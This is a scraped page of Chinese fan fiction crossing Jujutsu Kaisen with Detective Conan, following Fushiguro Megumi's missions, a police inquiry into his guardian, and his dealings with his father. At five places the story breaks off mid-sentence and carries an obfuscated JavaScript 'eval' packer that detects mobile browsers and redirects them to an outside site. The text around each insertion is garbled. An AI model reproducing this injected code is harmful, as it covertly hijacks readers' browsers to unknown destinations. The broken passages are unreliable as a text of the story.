禅院真依原本不想理他,但是看到伏黑惠也露出好奇的神情,才回答道:“因为你是濒死才能看到咒灵的普通人,所以只能看到把你逼到濒死的那只咒灵。” 服部平次不好意思地摸了摸鼻子:“也没到濒死的地步吧……还以为我以后就能看到咒灵了呢……” 禅院真依对伏黑惠说,“惠君,这里面应该只有这一只咒灵,既然袚除了,那我们就走吧。” “就是这里吗?”伏黑惠疑惑地说,“那没必要让我们一起来吧。” “都说了我只是来配合你的。”禅院真依看着伏黑惠的样子气得牙痒痒,“而且这也是二级咒灵,别说得那么轻松。” “二级吗?”伏黑惠奇怪地皱起眉,有理有据地说,“但是这只咒灵比之前咒术评级时遇到的那只弱很多。” “二级也分强弱的。”禅院真依按照经验说,“二级咒术师肯定能够袚除二级咒灵,你现在的实力应该是能跟一级咒灵五五开。” 伏黑惠心有疑虑:“真依前辈,这次的咒灵是禅院先生的命令吗?” “不是,是上面发下来的任务。”禅院真依问,“怎么了吗?” “没事了。”伏黑惠松了口气。他就说,禅院先生明明说让他多多实战提升,应该不会让他来袚除这么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17111311|193716||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弱的咒灵才对。 “那个……”服部平次看他们的对话告一段落,主动邀请道,“你们要不要来家里喝杯茶?” 伏黑惠看向他:“你不报警吗?” “他们已经来了。”服部平次指了指停在不远处的警车。 警车的驾驶座上下来一个膀大腰圆的壮硕男人,穿着西装,看到服部平次像看到了救星,看表情似乎激动得要哭出来。 “平次!你终于联系我们了,吓死人了!”这句话来自于从副驾驶上跑下来的少女。 原本看起来很镇定一点儿都不像刚刚死里逃生的少年顿时紧张起来,手足无措地接住扑过来的少女,手放在对方的后背上方不知道该不该搂上去,结结巴巴地说:“和叶,你怎么也来了?都说了我没事啊!这两位咒术师救了我。” 从车上下来的西装男人看了看两个人的状况,很有眼力见选择把地上的男人扣上手铐带走。 少女用力锤了两下服部平次的胸口表示气愤,然后转过身来朝着伏黑惠两人深深鞠躬,满怀感激地说:“你们好,我是远山和叶,多谢你们救了平次。” “我是伏黑惠。”伏黑惠连忙回礼,“请别多礼,远山小姐,这……” “这只是工作而已。”禅院真依站了出来,打断了伏黑惠的话,略显高傲地说,“现在工作结束,我们也该回去了。” 服部平次显然不想让他们走:“真的不一起喝杯茶吗?” 远山和叶连连点头:“对,请给我们道谢的机会!” 禅院真依说:“不了,咒术师和普通人本来就不该多接触。” “那个,可以麻烦稍等一下吗?!”把犯人放上车的西装男人又匆匆忙忙跑回来,急切地说,“其实西区的江戸堀那边也有奇怪的地方,有可能是咒灵作祟,能不能麻烦你们帮忙去看一看?” “你是警察吧?按照规矩上报之后,‘窗’会处理。”禅院真依说,“走吧,惠君。” 伏黑惠被禅院真依拽了一把,虽然不解但还是跟着对方离开了。 西装男人露出想拦不敢拦的表情。 服部平次看着两个人的背影似乎在回想什么,突然他拨出电话,激动地说:“工藤,你之前说有个同学的弟弟被带到了京都,那个学弟是不是叫伏黑惠?!” 18. 第 18 章 伏黑惠问:“真依前辈,我们真的不过去看看吗?” 禅院真依无所谓地说:“你想去可以去。如果是对付不了的咒灵再上报‘窗’就好了。” “可是……”伏黑惠讶异地看着禅院真依。 禅院真依说:“咒术师不应该跟普通人多接触,要是他们一说你就答应,谁知道会不会变得得寸进尺!” 伏黑惠若有所思:“是这样吗?” “反正离普通人远一点就对了。”禅院真依说,“你要去西区吗?” “嗯,我想去看看。”伏黑惠说。他倒不是在意西区,而是…… 伏黑惠转头看向大阪结界的方向。 禅院真依说:“你担心结界?” 伏黑惠说:“这个咒灵和结界的距离太近了。” “没事,结界完全可以算是另一个空间。”禅院真依不以为意地说。 总之还是顺路去看了看。 伏黑惠严肃地说:“咒力反应很明显。” 禅院真依习以为常地吐槽道:“‘窗’那边在干什么?这么明显的咒灵反应都不报上来?!” 伏黑惠拧着眉头:“‘窗’经常这样吗?” “偶尔吧,‘窗’的人也不够用,能力还不强。”禅院真依吐槽道,“不过这种这么明显的可能是刚刚诞生,不然应该不会被漏下,倒是有可能被经验不足的‘窗’评错级之类的。” 伏黑惠召唤出式神:“「玉犬」!” 两只黑白大狗精神抖擞地从伏黑惠的影子里钻出来,警戒地左嗅嗅右嗅嗅。 禅院真依站在一旁,拿出了手枪,跟着戒备起来。 袚除咒灵的次数多了,伏黑惠已经明白了为什么是「玉犬」是「十种影法术」的第一种式神了。 「玉犬」的能力攻防探查为一体,非常适合新手咒术师。 这次「玉犬」也不辱使命地找到了咒灵的踪迹,带着主人一路狂奔,并且在见到咒灵的时候毫不犹豫地露出了尖牙利齿。 伏黑惠记住禅院直毘人的话,式神使是所有式神的软肋,必须待在最安全的地方。不然一旦式神使失去意识,所以的式神都没有用武之地了。 虽然想跟式神并肩作战,伏黑惠还是站在「玉犬」后方,又召唤出了「脱兔」扰乱咒灵的视线,方便「玉犬」的攻击。 锐利的爪子反射出冰冷的光线,跟人类不同的紫色血液喷溅而出。 禅院真依掩着口鼻,看着「玉犬」把咒灵的尸体吞噬殆尽,就算知道这是增强式神力量的方式,这一幕看上去还是让人感到不适。 伏黑惠也不太习惯这一幕,喃喃道:“等回去给你们洗毛毛。” 「脱兔」一群群像是白色的花一样落回伏黑惠的影子里,「玉犬」跟随其后,还朝着伏黑惠摇了摇尾巴。 伏黑惠一视同仁地拍了拍他们的脑袋。 “你还真有耐心。”禅院真依冷眼旁观,看着伏黑惠一只一只……摸了几十只「脱兔」,还带着两只狗。 伏黑惠拍了拍手上的灰尘:“大家都很乖、很努力。”所以都需要奖励。 禅院真依很无语:“回去吧,你还有咒力召唤「鵺」吗?” 伏黑惠不假思索地说:“可以。” “算了,我们还是打车吧。”禅院真依说,“我不想再把头发弄得乱七八糟的。” 禅院真依回了京都校,还没入学的伏黑惠继续回禅院家接受教导。 他在浴室里给两只「玉犬」洗澡。家里养狗的人都知道,给狗洗澡一向是先洗狗,再洗自己,不管多乖的狗狗也不能逃脱这个定律。 伏黑惠弄了自己一身水之后,先把两只狗狗的毛毛吹干,然后让他们回到影子里,再洗自己。 他把自己泡进浴缸里,“咕嘟咕嘟”地吐着泡泡,脑海中回想着今天回来后和禅院直毘人的对话。 “今天解决了两个咒灵?”禅院直毘人还是像以往一样坐在椅子上喝着酒。 伏黑惠平淡地说:“嗯,因为距离不远就顺便去看看。” “记得两份报告都得写。”禅院直毘人喝了口酒,满不在意地挥挥手,让他离开了。 伏黑惠破水而出,在浴缸里坐起身体。只要回到禅院家就能感到被压抑的气氛笼罩着,他宁愿在外面袚除咒灵不回来。 怪不得五条先生不喜欢提到五条家。 伏黑惠从浴室里出来,拿着吹风机把顺毛吹成炸毛。 他现在大概知道为什么五条先生看到他刚洗完澡没吹头发的时候 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17115697|193716||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的表情为什么那么奇怪了。 伏黑惠看着镜子里自己的脸,他和那个父亲长得真的那么像吗? 放在一旁的手机信号灯一闪一闪的,伏黑惠拿起手机,看到了津美纪的邮件。 【惠,你今天去了大阪吗?——津美纪】 伏黑惠想了想,还是拨出了电话:“怎么了吗,津美纪?” “惠!”伏黑津美纪又惊又喜的声音在耳边响起,让伏黑惠心头涌起一阵愧疚。 他关心地问:“津美纪,你这段日子过得还好吗?” “挺好的,朋友很照顾我。”伏黑津美纪跟伏黑惠一样报喜不报忧,他们都不想让对方担心自己。 伏黑惠想起津美纪的问题,回答:“我今天的确去了大阪,有什么事吗,津美纪?” “没有。”伏黑津美纪看了看坐在旁边的毛利兰,笑了笑,“只是因为服部同学是兰和新一君的朋友,他们想当面谢谢你。” 伏黑惠为难地问:“去东京吗?” 伏黑津美纪温柔地说:“你要是不方便回来的话也不用勉强。” “……抱歉。”伏黑惠想了想,还是抱歉地说,“现在还不太方便,津美纪,再给我一段时间,我一定会回去的。” 东京现在在咒术界被称为「非人魔境」,禅院直毘人直白地告诉他,只有他成为一级咒术师才能够回去,不然只是去送死而已。 “是这样啊。”伏黑津美纪尽力掩藏起自己的失落,打起精神,小心翼翼地问,“惠,是这样的,前两天有个男人救了我,他跟惠长得很像……” 伏黑惠淡定地说:“那是我父亲,津美纪还记得吗?你遇到了危险,受伤了吗?” 比起津美纪的小心,他听到伏黑甚尔救了津美纪还挺高兴的,钱没白花。 但是伏黑甚尔完全没把这件事告诉他,这个不行,一会儿得给对方发消息加上这一条,可以加钱。 “真的是叔叔回来了吗?!太好了,惠!”伏黑津美纪惊喜地说,“不需要麻烦叔叔保护我,我在这边很安全,还是让叔叔去保护你吧!” 伏黑惠冷静地找到了重点:“不用觉得麻烦,津美纪,我给了钱的。” “欸?!”伏黑津美纪茫然地眨巴着眼睛。 19. 第 19 章 “……对话全程就是这样。”工藤新一对降谷零说。 降谷零看向旁边的男人:“明智警视长,您怎么看?” 男人同样穿着一身西装,有着一头银色短发,面容俊美,戴着一副金丝眼镜,浑身上下透着那种精英上位者的气质,除了相对于职位太年轻。 明智健悟双手交叉,手背托住下巴,好奇地看着工藤新一:“我很好奇,工藤君是怎么知道这么私密的对话的?” 工藤新一面不改色地说:“我问了小兰,她告诉我的。” 降谷零揶揄地看了工藤新一一眼,提醒道:“明智警视长,这不是重点吧。” 明智健悟淡然地说:“降谷警视,我知道你很欣赏工藤君,但现在跟咒术师交流的每个细节都是重点。” 旁边站在两人身后的警察忍不住吐槽道:“您只是在恶趣味而已。” “小林——”明智健悟拉长了声音,“我把你调任回来不是让你吐槽我的。” 小林警官连忙捂嘴:“对不起,我不说话了。” 降谷零揉了揉额角:“明智警视长,我们今天是来讨论那位咒术师的问题的。” “当然是。”明智健悟朝着小林警官伸出手。小林警官连忙掏出一个平板递过去。 明智健悟划开平板,翻出了警视厅调查的资料。 “伏黑津美纪,16岁,帝丹高中二年级,成绩优秀,为人温和善良稳重细心。伏黑惠,15岁,帝丹高中一年级,国中在琦玉的浦和东中学上学,成绩优秀,为人……因为校内斗殴被请过家长。”明智健悟饶有兴致地挑了挑眉,继续念道,“两人是重组家庭,虽然是姐弟但是没有血缘关系,父母在童年时期双双失踪,现在的监护人是……五条悟。” 他看向降谷零,气定神闲地说:“五条悟的身份资料是机密。” 降谷零继续说:“五条悟是咒术界公认的‘最强’咒术师,是‘五条家’的一员。警察厅大多数时间都只和咒术界的‘窗’进行对接,对咒术界内部结构不甚了解,只知道咒术界的高层大多数由三个家族负责审核和推荐,分别是:五条家、禅院家、加茂家。这三个家族在咒术界中被称为‘御三家’。” 他补充道:“据传,这次咒术界出了这么大的问题就是因为五条悟被封印了。” 降谷零说这句话时的表情一言难尽,完全理解不了为什么一个人被封印了能连带着出这么大的事?! 工藤新一一脸‘世界的秘密真多啊’的惊讶表情,看得小林警官偷偷笑了。 明智健悟托着下巴:“‘御三家’里五条家的五条悟是伏黑惠的养父,而禅院家在五条悟被封印之后第一时间做的事就是把伏黑惠带走。” 降谷零严肃地皱着眉头:“伏黑惠在咒术界中的地位应该举足轻重,但是他的生活痕迹很清晰,没有伪造的可能性。” 他自己就是卧底出身,很了解一份伪造出来的身份会是什么样子。伏黑惠的小学和国中都能找到老师和同学证明他的存在,这个人不止是存在于纸面上,而是真实存在。他亲自带着公安的人用伏黑惠的照片去问的,找了不止一个人,核实了很多遍。 “那就从五条悟来入手吧。”明智健悟看向工藤新一,“工藤君,你了解你这位同学兼学弟的监护人吗?” 工藤新一努力回想着:“开学典礼的时候,我和津美纪同学不是同班,没太注意。高二之后……”他一直都在做江户川柯南,家长开放日什么的都在帝丹小学啊! “……我一直在做侦探查案,不太关注学校内部发生的事。不过,他肯定是个帅哥!白发、戴墨镜、一米九以上的大帅哥!”工藤新一斩钉截铁地说。 明智健悟饶有兴趣地问:“工藤君很确定这条线索吗?” 工藤新一肯定地点头,他听铃木园子兴奋地跟毛利兰说过很多次。园子虽然喜欢帅哥,但能让她兴奋到这种程度肯定不是一般的帅气,让她这么兴奋的,除了‘津美纪的帅哥监护人’之外只有怪盗基德。 “白发、一米九……这么明显的外表应该会很容易找到。”降谷零看向他们两个身后跟小林警官并排站着的风见裕也,“风见,让交通科那边查找一下监控记 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17121009|193716||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 录,看能不能找到相似的人。” “是,降谷先生!”风见裕也收到命令之后,转身出门去找交通科的警官了。 “我再打电话问问园子。”工藤新一了解自己的发小,园子对帅哥的情报总是记得很清楚。 明智健悟示意他随意,接着和降谷零讨论道:“那位突然出现的伏黑惠的‘生父’呢?” 降谷零为难地说:“他只是在伏黑津美纪遇到危险的时候出现了一下就消失了。” “能够及时出现,他平时应该就在附近。”明智健悟问,“有什么为难的地方吗?” “他的实力……不像是人类。”降谷零斟酌了片刻,只能这么评价。他在黑衣组织里也算是见多识广了,但伏黑甚尔这种一跳三层楼的他真没见过。 明智健悟思索着问:“给钱又是怎么回事?咒术师之间的血脉联系这么淡薄吗?” 工藤新一说:“据说那位‘生父’很早就离开了,这次突然回来津美纪同学是通过他和伏黑惠相似的脸认出来的。至于‘钱’,津美纪同学也不知道是怎么回事。” 他叹了口气,后脑勺的呆毛都被挠成了三根。 明智健悟说:“最起码能确定那位伏黑惠君没有被剥夺自由,还有联系外界的权利。” 对了,工藤新一补充道:“园子说那位五条悟先生很喜欢吃甜品。” 明智健悟对小林警官说:“去找交通科,跟他们说重点关注有名的甜品店附近的监控。” 降谷零突然陷入思索:“白发、一米九、爱吃甜品……我在波洛可能见过他。” 他拿起手机给风见裕也发消息。 “五条悟已经被封印了,我们现在的重点还是得放在伏黑惠君身上。”明智健悟看向工藤新一,意有所指地说,“最好能直接见见他本人。” 工藤新一点了下头:“我会多关注津美纪同学的。”他停顿了一下,才放任了自己的好奇问,“咒术师都像是伏黑君的父亲那么强吗?” “那就不知道了。”降谷零无奈地说,“警方掌握的咒术师的情报不多。” 20. 第 20 章 跟津美纪的短暂通话很好地抚慰了伏黑惠压抑的心情。 长期住在禅院家,每天除了袚除咒灵就是训练,每天都要把所有体力全部压榨干净,能够放松的事只有望着蓝色的天空撸狗。 伏黑惠倒不是对此有什么怨言,想要快速地增长实力是他和禅院先生的共识,但压力越来越大也是事实。 咒术评级达到一级就可以去东京见津美纪。 这句话就像是吊在驴子面前的胡萝卜,让伏黑惠追着它疲于奔命。 要快一点、再快一点,努力一点、再努力一点,因为津美纪需要他,津美纪只有他了。 五条先生被封印了,他们像是又回到了那间狭小的房子里,回到了两个人相依为命的时光。 ——他们只有彼此了。 但现在和津美纪的通话让伏黑惠的心像是被泡在温水里,软乎乎的,像是小时候埋在「脱兔」堆中休息一样。 但现在不会有五条先生坏心眼地把他从「脱兔」堆里挖出来,挠他痒痒了。 “津美纪,我真的过得还好。”伏黑惠很想让姐姐安心,“现在我还太弱了,等我变强之后就能去看你了。” “那就好。”伏黑津美纪温柔地说,“我过得也很好,大家都很照顾我,惠不用着急。” 那可不行。伏黑惠沉默了一瞬,如果他的进步不大的话,禅院先生有可能就不会帮他了。 而且别人的照顾再好也不可能他了解津美纪,津美纪是很体贴的人,不会对着别人提要求,有什么不适应的地方也会因为不想给人添麻烦,默默忍耐下来。 “我会注意休息的,津美纪你别担心。”伏黑惠认真叮嘱道,“如果以后遇到危险要及时告诉我。” “叔叔及时救了我,我以为他会跟你说。”伏黑津美纪有点心虚地说。她也不想让伏黑惠担心,又因为怀疑伏黑甚尔的身份,一直拖延到现在。 伏黑惠微微眯起眼睛,记着要跟伏黑甚尔说这件事。他看了看天色:“津美纪,你早点休息。” “好。”伏黑津美纪没有接着跟弟弟聊天,“晚安,惠。” “晚安,津美纪。”伏黑惠挂断和津美纪的电话之后,又拨出了另一个号码,“是我,伏黑惠。” 他想了想该怎么称呼,又无法毫无芥蒂地喊出‘父亲’,只好沉默。 好在另一边的人也没想过,顺利地把话接上了:“什么事?这个时间算加班,得加钱。” 伏黑惠想了想五条悟卡里的余额,严谨地问:“按照次数收费还是按照时间收费?” “嚯!”伏黑甚尔听着伏黑惠财大气粗的语气,蠢蠢欲动,但是想想这个是自己儿子,还是给了个优待,“按次数吧,一次一万日元。” 这是个便宜到让伏黑惠怀疑的价格,但对方的确按照约定保护了津美纪,所以应该没有骗他。 ——毕竟是‘父亲’。 伏黑惠心情复杂地问:“津美纪遇到危险的事为什么不告诉我?” “啧!”伏黑甚尔咂咂嘴,他没干过这种保姆的活儿,原来这种事还得汇报吗? “她又没受伤。”他不耐烦地说,脑海中却有一个跟伏黑惠相似的身影隐隐浮现。仿佛笼罩在一层柔光中的身影却让伏黑甚尔每次都能感到比温暖严重百倍的痛苦。 儿子很像他母亲。这是伏黑甚尔在死前就知道的事情。 不管离开多久,回去的时候都会看到一只头发触角会软乎乎垂下来的小海胆仰着头看着他。碧绿色的眼睛跟他一点儿都不一样,看他的时候还会含着期待。 后来长大了一点点,海胆头发的尖尖更加支棱,但脾气一点儿都没变硬,再气愤也会记得给在沙发上睡觉的他盖上毯子。 然后他就会想到妻子,已经失去的痛苦比任何感觉都更清晰,他越来越不愿意见跟妻子性格相似的儿子。 死在五条悟手中算是一种解脱,儿子小小年纪就能看到咒灵,肯定是咒术师,在禅院家那个垃圾场也能生活得很好。 但,如果能在五条悟那个任性的‘六眼’手下过另一种生活也不错。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17124333|193716||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 早就该忘记的事随着跟伏黑惠的见面再次出现在脑海里,真糟糕啊,这具身体,就不能忘掉吗? 伏黑惠的声音在他耳畔响起,严肃得跟那天让他去保护那个毫无血缘的继姐时一模一样:“就算津美纪没受伤也要告诉我!” 伏黑甚尔咧了咧嘴,无所谓地应道:“行啊,得加钱。” 谁想到那个‘六眼’也不靠谱,结果还得他来带小孩,那多花点那个‘六眼’的钱也是应该的。 “我知道。”伏黑惠对伏黑甚尔的态度没有半点意外,“以后津美纪的事要及时通知我,也是一次一万元。” “行。”伏黑甚尔对这个价码也算满意,多打一句话就能多拿一万元,够他赌马好几次了。 孔时雨看着伏黑甚尔挂断电话,唏嘘地说:“没想到还有再跟你合作的一天。” 伏黑甚尔懒洋洋地说:“要没有我,你现在已经喂咒灵了。” “是啊。”孔时雨吐槽道,“但我也没想到你找到儿子的第一件事是挣他的钱。” “他哪儿来的钱?还不是那个‘六眼’的,随便拿,多拿点。”伏黑甚尔说,“让我干活当然得给钱,等他出来了就拿不到了。” 孔时雨无语地说:“那是你儿子。” “已经卖了。”伏黑甚尔说,“我对交易还是很守信的。” 不,这只能证明你是个人渣。但孔时雨已经习惯了他的作风:“那只咒灵出现在伏黑津美纪身边应该不是巧合,你不告诉惠君一声吗?” 毕竟这是打开结界的千代田区,而伏黑津美纪这个普通人也不会去危险的地点。 伏黑甚尔说:“让他知道有什么用?我不是已经在保护她了吗?倒是能多要点加班费。” 孔时雨:…… 等公安的人按照监控找到疑似五条悟的人进入各地甜品店的身影,又排查甜品店的消费记录查到他的银行卡流水的时候,就算是警方的人也被近期频繁的大笔支出震惊了。 这要是平时,他们就该上门询问对方是不是遇到诈骗了! 21. 第 21 章 古朴的庭院里,看似简陋的木门挡住了窥探的视线。长长的甬道下方,坚固的训练室中缩在穴里的咒灵和场地正中正在进行式神调伏的少年。 “「虾蟆」”伏黑惠比出手影,召唤出新的式神。五只青蛙出现在满地水洼里,口中弹出了长长的舌头,束缚住大象的鼻子和腿。 「玉犬」被收回影子里,伏黑惠召唤道:“「鵺」” 「鵺」在屋内收敛了身形,振动双翅,雷电在他的翅膀上聚集,劈向水中站在的大象。 伏黑惠急跑两步,一跃而起,手中的寒芒刺向大象的眼睛。 大象发出一声臣服的鸣叫。 伏黑惠停住了手。 「鵺」和「虾蟆」化为影子散去,「满象」用鼻子接住了伏黑惠。 伏黑惠抱住她的鼻子,额头抵在鼻子上,默默地闭上了眼睛,像是在和新的式神交流感情。 半晌后,不再气喘吁吁的伏黑惠从「满象」身上下来,把新的式神收回了影子里,在心里分析到:面对体型较大的敌人时,他的攻击手段还是有点匮乏,下一个就调伏「大蛇」吧。 一只在旁观的禅院直毘人说:“你现在调伏式神已经很熟练了。十种式神已经调伏了六种,不错、不错。” 禅院直毘人连说两个‘不错’,可见他的满意程度:“惠,你知道自己为什么进步得这么快吗?” “我进步得很快吗?”伏黑惠完全没有参照,只能跟自己比较,今天要比昨天更努力一点。 “不过你是‘十影法’,进步飞速也是应该的。要是因此懈怠,那就辜负了你的术式……”禅院直毘人看着伏黑惠不以为意的表情补充道,“和你的式神。” 果然,之前还一脸无动于衷的伏黑惠,听到‘式神’两个字之后,脸上出现了动摇的神情。 “不会懈怠的,我记得约定。”伏黑惠低低地说。 “不止是因为约定啊!”禅院直毘人看着伏黑惠的表情,“算了,等你以后就懂了。等你明白自己的力量意味着什么,就是你能像五条悟一样担负起咒术界的时候了。” “我们的约定里没有‘担负起咒术界’这样的条款吧。”伏黑惠皱起眉头,不满地说,“我不想担负咒术界,只要能保护我自己想要保护的人就够了。” “哈哈哈哈!”禅院直毘人没有生气,而是哈哈大笑,“那就继续努力吧,惠,不要等到动手的时候才发现自己的力量不足。” “我知道。”伏黑惠抿起唇角,想到了他因为禅院家的人不得不离开津美纪的场景。 禅院直毘人看到伏黑惠的表情点了点头,继续说:“真依可能说过你是天才……” 伏黑惠说:“我知道自己不是。” “你当然是!”禅院直毘人激昂慷慨地说,“拥有‘十影法’的你是当之无愧的天才,就如同十年前的五条悟。” 伏黑惠提醒他:“五条先生那个时候已经是特级了。” 禅院直毘人信心满满地说:“按照你现在的进展,等你十八岁的时候也能成为特级。” 成为特级咒术师这么容易吗? 伏黑惠面露怀疑地看着禅院直毘人。 禅院直毘人吹胡子瞪眼睛:“‘十种影法术’是能够对标‘六眼无下限’的术式,当然各个方面都是旗鼓相当。” 是吗? 伏黑惠不太在意,比起他将来能不能成为特级咒术师,他更在意自己什么时候能成为一级术师,去跟津美纪见面。 禅院直毘人看着伏黑惠不感兴趣的表情,叹了口气:“惠,你知道为什么咒术师的学校只有高专吗?” 伏黑惠老老实实地回答:“不知道。” “因为十五岁到十八岁是咒术师的咒力飞速增长的时期,正是学习术式的大好时候。”禅院直毘人说,“你体内的咒力很丰沛,只要习得了咒术技巧就能很快的进步,等你达到一级的时候才会遇到瓶颈吧。” 他继续说:“我的术式「投射咒法」,通过将视野内的时间分割为每秒24帧,预设自身动作轨迹并高速执行,如果对手未按预设轨迹行动,动作就会变慢或冻结。你发现这个术式的局限性了吗?” 伏黑惠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17131973|193716||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 摆出认真听讲的表情,看着禅院直毘人。 禅院直毘人说:“「投射咒法」的关键就是速度,它兼具攻击与防御特性,但需要非常精确的预判而且中途无法修正动作。” 伏黑惠若有所思的表情:“那如果中途不修正动作就会被攻击的话……” “所以速度要快,出奇制胜。”禅院直毘人摸着胡子,对伏黑惠的悟性很满意,“也该给你讲授更多咒术的知识了。你知道「领域」吗?” 伏黑惠点点头:“五条先生带我看过。” 禅院直毘人已经习惯了伏黑惠这种仿佛看风景的语气——他们家‘十影’是不会有问题的,都是五条悟的问题。 “五条悟的领域「无量空处」就是必杀型的领域。”禅院直毘人说明道,“大部分「领域」要注意的就是术式的必中效果。我们禅院家有着用于破解领域攻击的秘传技巧,「落花之情」,在被敌方领域必中效果触及的瞬间,通过咒力反击造成伤害。”他问,“这点五条悟教过你吗?” 伏黑惠说:“五条先生说遇到咒灵开启领域,最好的办法是自己也开启领域。” “还真是他会选择的做法。”禅院直毘人说,“「十种影法术」的领域是「嵌合暗翳庭」,有思路吗?” 伏黑惠愣了一下,思索着说:“把咒力……像是影子一样铺开,构建出一个封闭的空间。” 禅院直毘人指指点点:“为什么一定是封闭式领域?你不要什么都跟五条悟学。” 伏黑惠回忆着五条悟说过的话:“但是开放式的领域不好控制攻击范围,还有可能让敌人逃走。” 禅院直毘人一脸高深莫测地说:“这就需要你自己来衡量了。” 他就知道……五条悟教人的时候怎么半点章法都没有,深的浅的都说一嘴,根本不成体系,他是把咒术知识当睡前故事了吗?! “我知道了。”伏黑惠乖乖受教的表现很能让人安心。 禅院直毘人叮嘱道:“过两天我要去一趟东京参加会议,你自己加强训练,袚除咒灵的任务去不去也都随你。” 22. 第 22 章 伏黑惠如同以往一样,在训练之后拖着疲惫的身体回到了自己的房间。 但今晚也有有所不同的地方,他久违地梦到了五条悟。 凉风习习,挂在树梢的秋叶被寒风吹落。 五条悟只比夏天的时候多穿了一件外套,拿着手机给裹成球的两个孩子拍照:“哈哈哈惠和津美纪好像是毛茸茸的小绒球!” 津美纪笑吟吟地摆了个姿势,大大方方地让五条悟拍。 伏黑惠羞窘得脸色涨红,把脸埋进了柔软的围巾里。 但越是这样,五条悟越想逗他:“惠~拍照啦~不要低着头嘛!” “您和津美纪拍不就好了?!”伏黑惠把脸埋得死死的,不愿意露出来。 “欸~那怎么可以呢?!”五条悟咋咋呼呼地说,“全家福里面怎么能没有小惠呢?津美纪说是不是?!” 伏黑津美纪忍着笑说:“嗯,全家福里当然不能少了惠!” 伏黑惠看到津美纪期待的眼神,只能不甘不愿地把脸露出来。 五条悟拿着手机‘咔嚓咔嚓’:“我们小惠真是心软的小孩,这样真的不会被欺负吗?” 伏黑惠嘟囔道:“才不会。”周围的小混混都被他打服了,才没人敢欺负他和津美纪。 五条悟心领神会:“我都忘了~伏黑哥~” 伏黑津美纪露出了谴责的眼神。 伏黑惠恼羞成怒:“五条先生!” “诶嘿!五条先生在这里哦!”五条悟手疾眼快,连拍了好几张伏黑惠的照片,大呼小叫地说,“津美纪快来看!惠的表情超——有趣!” 伏黑惠攥起了拳头:“我要揍您了!” “惠要揍我还早呢!”五条悟仗着身高优势摸了摸少年的头。 伏黑惠不开心地把脑袋挪开:“我已经不是小孩子了!” “在五条先生这里,惠和津美纪永远都是小孩子哦!”五条悟兴致勃勃地问,“那么,今天的家庭活动是什么呢?” 因为五条悟平时太过忙碌的原因,除了他有想做的事之外的时间,家庭活动都是由津美纪和伏黑惠策划的,五条悟只要负责付钱就行了。 “今天我们去观星!”伏黑津美纪高高兴兴地说。 “观星啊!”五条悟也高高兴兴地说,“好啊,去哪里?” “宫崎的中小屋天文台。”伏黑惠已经定好了路线,也预订好了参观名额和周围的住宿。 五条悟看着伏黑惠开心的样子,跟津美纪商量:“要不然买个天文望远镜放在家里吧?” “不用了,五条先生,我们想要会自己买的。”伏黑津美纪小声说,“惠只是前两天看了一部电影,突发奇想而已。” “原来是这样啊!”五条悟好奇地问,“是什么电影啊?” 伏黑津美纪无奈地说:“是一部讲宇宙观测的天文纪录片。” “……好看吗?”五条悟迟疑地问。 伏黑津美纪说:“是五条先生绝对不会感兴趣的类型,我看到一半也睡着了。” 五条悟吐槽道:“小惠就是喜欢看这种无聊的片子和书。” “但是可以学到知识。”伏黑津美纪对弟弟的爱好没有任何意见。 